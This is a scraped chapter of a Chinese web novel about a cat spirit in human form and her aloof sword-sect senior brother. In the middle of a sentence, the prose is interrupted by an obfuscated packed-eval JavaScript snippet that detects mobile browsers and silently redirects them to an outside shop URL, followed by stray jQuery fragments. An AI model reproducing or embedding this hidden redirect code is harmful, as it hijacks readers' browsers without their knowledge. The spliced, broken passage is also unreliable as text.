文趣网 > 其他小说 > 捡了魔尊当宠侍 > 46. 第 46 章
    雪花簌簌落下,一点雪沾在枕云的睫羽上。

    她眨了下眼便瞧见季夜玦本就阴沉的脸色变得更难看。

    季夜玦:“你什么意思?”

    邵北:“字面意思,大师兄向来不关心新人的事情,今日破天荒要求与小师妹同行,还让人带了伤回来。”

    季夜玦眼神冰冷,“她是我带回来的人,我看着有什么问题?伤也是她自己不小心摔的。”

    邵北:“既入了师门便是大家的小师妹了,大师兄虽说关照她却没关照到点子上。”

    “术业有专攻,大师兄还是专心做剑痴吧。”

    季夜玦:“是吗?你还是做好自己分内的事,希望你不要成为第二个因骚扰新人被轰出剑宗的弟子。”

    邵北冷笑一声,他的眼神又恢复到如沐春风的温度,“枕云师妹,我带你去药庐可好?”

    邵北转过身想带着枕云离开,与这个冰山斗嘴没什么意思,可他回过头时,枕云已经不知在何时溜之大吉了。

    只留下两个男人在原地伴着火药味看着小雪。

    邵北冷睨了季夜玦一眼后匆匆离开,季夜玦站在那里出神,他握紧了藏在衣袖里的青色药瓶,一言不发地也转身离去。

    ......

    季夜玦回到屋后不轻不重地把药瓶放在桌案上,他又转头撇了一眼忽然伸手又把药瓶推远了些。

    季夜玦在屋里转了一圈,他召来仆从,“咪咪呢?”

    仆从:“没见着啊,可能溜出去玩了吧。”

    季夜玦:“......知道了,下去吧。”

    外面这么冷还跑出去玩,季夜玦决定下次把它关在屋里不许乱跑乱窜了。

    他拧着眉头洗漱完,又擦了擦佩剑才翻身上床。

    烛火映在墙壁上一晃一晃,季夜玦盯着那里出神。

    他忽然起身走到门口又唤来昏昏欲睡的仆从低语几句。

    终于,这回他吹灭了蜡烛决定进入梦乡。

    黑夜里一时只能听见炭火噼里啪啦的燃烧声,眼皮渐渐沉重地坠下。

    忽然他感觉脸上一阵剧痛,季夜玦猛然睁开眼睛,只见一只肉乎乎的猫爪朝他袭来。

    “你......”

    咪咪似乎很生气,它呜呜地扇他的脸,夜玦老老实实挨了几拳之后,连忙把它拎起来。

    他的大掌架住它的爪子,夜玦皱起眉头,“干什么!你还恶人先告状?我还没算你晚归呢。”

    夜玦把烛火点燃,他先认真把咪咪检查了一圈,只见它粉红的肉垫有些不同寻常的红,像是擦伤。

    夜玦急忙抓住它的爪子问道:“怎么搞的?”

    咪咪:“喵!”

    它激烈地挣扎着,夜玦差些抓不住它,他严厉地低吼了一声,“别动,让我看看。”

    咪咪立即噤了声,像是被他吓到了,连着眼睛也湿漉漉的。

    可是夜玦的注意力全放在它的伤口上,也不知这个小调皮鬼今日跑去哪里了,还受了伤回来。

    夜玦忽然想到了枕云,连她们受伤的部位都差不多。

    他眨眨眼,立马把枕云抛到脑后。

    夜玦强硬地抱住咪咪来到桌案前,他打开那瓶药小心翼翼地往它的爪子上撒了些淡黄色的粉末。

    夜玦嘀咕着:“也不知道人用的药你能不能用,给你少上一点。”

    他起身寻来一块白手帕熟练地撕成两半绑在它的爪子上。

    夜玦又想到了枕云......他拧着眉再次把这个女人的脸庞从他脑海里压下去。

    包扎好后,夜玦像个面对顽皮小孩在外面惹了祸回家的严肃大人,他沉着脸和咪咪说话:“今天去哪里了?”

    咪咪上去又朝他脸上来了结实的一拳,声音没了从前的嗲,“喵!”

    似乎是在说“你也配问老子!”

    夜玦有些不可置信地摸了摸脸,他立即桎梏住它的“武器”,“做什么?我招你惹你了?”

    “喵!!”

    “是不是把你宠得无法无天了,连续几天都跑出去玩不见踪影,就该把你关在房里才好。”

    他说这句话的时候神色阴沉,不像是在开一个玩笑。

    他挠了挠咪咪的下巴,“怎么不作声了,你不喜欢?”

    咪咪还是不愿意搭理他,它高傲地喵了一声。

    夜玦无奈叹了口气,“好了,我让你出去玩就是了,但是你也不要受伤回来...我会担心的。”

    “是不是那只灰猫又去欺负你了?”

    咪咪摇了摇头。

    “是你自己不小心弄的?”

    咪咪眼神躲闪,不敢直视他。

    夜玦心下了然,他朝它脑门弹了个小脑瓜崩,“你呀......”

    “好了,跟我回去睡觉,不许调皮。”

    ——

    天才蒙蒙亮,脚步走在绵绵雪地上发出嘎吱嘎吱的声响,庭院里传出扫帚摩擦的声响。

    枕云惬意地伸了个懒腰,她躲着清晨的仆从急忙溜回了厢房。

    要是又有人大早上来找自己就不好了,有时候变成人也不方便,还是做猫最舒服。

    枕云回到自己的塌上蹭了蹭被褥闭上眼睛,她郁闷地想到这里的床没有夜玦的那张舒服,也没有夜玦身上熟悉的味道。

    她把身子蜷缩在一起想着想着便又回到了梦乡。

    “咚咚咚”不知何时一阵轻巧的敲门声传来扰乱了她的回笼觉。

    枕云连忙穿上外袍随意地理了理头发,她深吸一口气推开门发现站在门外的是季幼晴。

    季幼晴:“早上好小师妹!”

    她活力满满的声音像刚刚饱腹的雀跃小鸟,季幼晴穿着一身水蓝色的衣裳,洁白的毛领子缠绕在颈肩,步摇在她的发髻上一晃一晃。

    枕云:“早...师、师姐!”

    枕云换了种语言才想起来自己居然要唤这小丫头为师姐!

    季幼晴捂着嘴噗嗤一笑,“哈哈哈你真可爱。”

    “快走吧,等会要跑早操了,你上课第一天可不能迟到。”

    枕云看了眼淡淡的天色,她不情不愿地回答道:“好......”

    枕云一直以来都觉得跑早操简直是上天入地最让她厌恶的事情。

    没有之一。

    这么大好时光就应该浪费给床榻,到底为什么要大冷天出来跑圈!

    枕云跑在队伍的末尾痛不欲生,她走走停停,迎着陌生长老严厉的目光又装模作样地跑了几步。

    她朝队伍的前方看去,领跑的是邵北,他今日的装扮格外整洁,白色的衣摆随着他的步伐晃动,他身后是季幼晴和她的同窗,几人嬉嬉笑笑打闹不停。

    “今日邵北师兄怎么跑那么快啊!能不能照顾一下我们尾巴的人,抽什么疯?”

    “得了吧,你庆幸不是大师兄来领跑,不然早上我直接把命都丢在这儿。”

    枕云前面的两个小姑娘嘀嘀咕咕着。

    枕云冷哼一声,季夜玦才不会来这么无聊的晨练,况且他也不需要来跑早操了。

    枕云叹了口气,越想越后悔变成人。

    腿像灌了铅般沉重,枕云两眼发白,终

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661081|206997||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    于等到长老说解散,她捂着膝弯大口喘气,恨不得立马躺在地上。

    忽然一双手扶住她瘦弱的手臂,枕云惊讶地看向他,“……邵北师兄?”

    他轻笑一声,“你直接叫我师兄便好。”

    他像个没事人一样站在她面前,大气都不喘一口,这显得枕云更加狼狈不堪。

    枕云:“师兄...你体质真好……”

    邵北:“你勤加锻炼之后也会好的,第一天都是这样。”

    枕云摆了摆手,眉头紧锁:“不!我这辈子都会是这样!”

    旁边偶有几人对他们行了个注目礼,邵北环视了一圈,“走吧,我带你去班上熟悉一下。”

    两人走后,季幼晴匆匆赶来,她看着他们的背影欲言又止。

    “邵北什么时候对新人这么特别关照了?”

    ……

    “今日多谢邵北师兄了。”

    “您真是人俊心善。”

    枕云转过身对送了她一路的邵北道谢。

    邵北脸上第一次出现羞怯的表情,他的手放在后脑勺。

    “小师妹不必如此客气,这都是我应该做的。”

    “以后在门派里若有什么不熟悉或者不适应的地方都可以来找我,我自当为师妹分忧。”

    “你快去上课吧。”

    枕云点点头道了声“好”。

    枕云看着他迈着轻快的步伐离开,她咂咂舌低头向院里走去。

    不过想起季夜玦如今的冷漠她便显现出一点沮丧在眉眼间。

    也不知上辈子自己是怎么把他调教成那副模样的。

    暖阳把雪一点点融化,枕云坐在最后一排百无聊赖地拿起毛笔抵在鼻子下面。

    凌云剑宗除了习剑还会教些文学算术历史。

    宗主说是为了避免以后出去打架被人说是鄙夫不识字。

    枕云的同窗叫做余儿,她是个文静的姑娘,见枕云这位新来的坐在身边只是朝里面挪了挪身子。

    枕云:“你好,我叫枕云。”

    余儿的声音很细,“你...你好...我认识你。”

    枕云有些诧异:“你认识我?”

    余儿:“最近宗里的人应该全都认识你。”

    “......哈哈。”

    枕云张了张嘴笑笑不知该说些什么。

    忽然夫子在课上重重咳嗽了声,所有人纷纷回头看向她,“最后新来的那个,你起来回答一下!”

    枕头心脏骤停。

    ……

    下课后夫子把枕云和余儿都叫到跟前,他上下打量着枕云,“以后你们便是同席,你晚上收拾收拾搬进她屋里,余儿一直单独住,以后你们可以互相照应。”

    枕云眨了眨眼,“当然可以。”

    余儿也点了点头。

    傍晚余儿跟着枕云去她前几日暂住的厢房收拾东西,枕云有些难为情。

    枕云:“我住进去你会不会不习惯?要是你有什么介意的就和我说!”

    余儿摇摇头,细声细语:“无妨,其实大家都是两个人住的,只是我一直落单了。”

    枕云:“没事的,一个人多自在呀!嗯——而且以后我也会陪你的。”

    余儿勾起浅笑看着她立刻把头低了下去。

    枕云回屋后立即折好被褥准备搬过去,余儿规规矩矩地坐在她的桌案边。

    可她忽然发出一声惊呼。

    “这、这是大师兄送你的吗?”

    “你果真是他们传闻里的大师兄的红颜知己?”

    “啊?啥玩意?”